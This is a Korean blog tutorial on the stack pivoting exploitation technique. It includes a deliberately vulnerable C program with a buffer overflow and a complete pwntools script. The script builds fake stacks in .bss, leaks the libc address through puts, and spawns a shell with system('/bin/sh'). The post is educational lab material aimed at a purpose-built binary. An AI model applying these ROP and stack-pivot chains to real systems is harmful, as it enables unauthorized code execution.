Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
Tags
- kernel img
- xz-utils
- newbie
- 백도어
- rootfs
- liblzma
- cwe-506
- Kernel
- kernel image
- CVE-2024-3094
- kernel build
Archives
- Today
- Total
ZZoMb1E
[PWNABLE] Stack Pivoting 본문
728x90
※ 잘못된 부분이 있으면 알려주세요. 확인 후 수정하도록 하겠습니다. ※
gadget을 사용하여 쓰기 권한이 있는 영역에 Fake Stack를 구성하는 기법이다.
- payload가 저장되어 있는 경우, ret까지만 overflow가 발생해야 한다.
- payload가 저장되어 있지 않은 경우, chain + leave_ret 까지 넣을 있어야 한다.
일반적으로 bof취약점을 한번 밖에 사용하지 못하거나 ret까지만 overflow가능한 경우 사용하는 기법이다.
간단한 예제를 통해 살펴보도록 하겠다.
// gcc -no-pie -fno-stack-protector -z execstack -o ex ex.c
#include <stdio.h>
#include <stdlib.h>
int cnt = 0;
void gift(){
__asm__ ("pop %r9");
__asm__ ("pop %r8");
__asm__ ("pop %rcx");
__asm__ ("pop %rdx");
__asm__ ("pop %rsi");
__asm__ ("pop %rdi");
__asm__ ("ret");
__asm__ ("pop %rax");
__asm__ ("ret");
__asm__ ("pop %rbx");
__asm__ ("ret");
__asm__ ("mov %rbx, (%rax)");
__asm__ ("ret");
__asm__ ("mov %rax, (%rbx)");
__asm__ ("ret");
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
void vuln() {
char buf[0x40];
if(cnt != 0){
exit(-1);
}
cnt = 1;
puts("Hello! whrd");
read(0,buf,0x80);
}
int main() {
initialize();
vuln();
return 0;
}
임의로 gadget들을 만들어 주었다.
여기서 쓰기 권한이 있는 메모리 영역인 bss를 사용하도록 하겠다.
첫번째 payload이다.
payload = b'a'*0x40
payload += p64(bss+0x300)
payload += p64(p_rdx_rsi_rdi)
payload += p64(0x100)
payload += p64(bss+0x300)
payload += p64(0x0)
payload += p64(read)
payload += p64(leave_ret)
p.send(payload)
bss+0x300에다가 fake stack을 구성하고 있다.
leave-ret 과정을 거치고 나면 rbp와 rsp가 fake_stack을 가리키게 된다.
payload = p64(bss+0x400)
payload += p64(p_rdi)
payload += p64(read_got)
payload += p64(puts)
payload += p64(p_rdx_rsi_rdi)
payload += p64(0x100)
payload += p64(bss+0x400)
payload += p64(0x0)
payload += p64(read)
payload += p64(leave_ret)
p.send(payload)
leak을 하는 과정이다.
puts()를 사용하여 libc_base를 구하고 나서 exploit을 위해 bss+0x400 위치에 fake stack을 새로 구성 및 입력을 받고 있다.
p.recvuntil(b'\x0a')
leak = u64(p.recvn(6) + b'\x00'*2)
libc_base = leak - libc.sym['read']
print('libc_base : ', hex(libc_base))
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b"/bin/sh"))
payload = p64(0x0)
payload += p64(p_rdi)
payload += p64(binsh)
payload += p64(system)
p.send(payload)
구한 libc를 가지고 system('/bin/sh');를 실행해주면 된다.
실행해보면 system()까지 정상적으로 실행되는 것을 확인할 수 있다.
from pwn import *
target = b'./ex'
context.log_level = 'debug'
p = process(target)
e = ELF(target)
libc = ELF(b'/lib/x86_64-linux-gnu/libc.so.6')
read_got = e.got['read']
read = e.plt['read']
puts = e.plt['puts']
bss = e.bss()
leave_ret = 0x0000000000401252
ret = 0x000000000040101a
p_rdi = 0x00000000004011a5
p_rsi_rdi = 0x00000000004011a4
p_rdx_rsi_rdi = 0x00000000004011a3
####################################
payload = b'a'*0x40
payload += p64(bss+0x300)
payload += p64(p_rdx_rsi_rdi)
payload += p64(0x100)
payload += p64(bss+0x300)
payload += p64(0x0)
payload += p64(read)
payload += p64(leave_ret)
p.send(payload)
####################################
payload = p64(bss+0x400)
payload += p64(p_rdi)
payload += p64(read_got)
payload += p64(puts)
payload += p64(p_rdx_rsi_rdi)
payload += p64(0x100)
payload += p64(bss+0x400)
payload += p64(0x0)
payload += p64(read)
payload += p64(leave_ret)
p.send(payload)
####################################
p.recvuntil(b'\x0a')
leak = u64(p.recvn(6) + b'\x00'*2)
libc_base = leak - libc.sym['read']
print('libc_base : ', hex(libc_base))
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b"/bin/sh"))
####################################
payload = p64(0x0)
payload += p64(p_rdi)
payload += p64(binsh)
payload += p64(system)
p.send(payload)
####################################
p.interactive()
728x90
'STUDY > PWNABLE_AMD64' 카테고리의 다른 글
[PWNABLE] rtld global (0) | 2024.06.24 |
---|---|
[PWNABLE] environ stack leak (0) | 2024.06.24 |
[PWNABLE] FPO (0) | 2024.06.24 |
[PWNABLE] Out Of Bounds (0) | 2024.06.24 |
[PWNABLE] Off_By_One (0) | 2024.06.24 |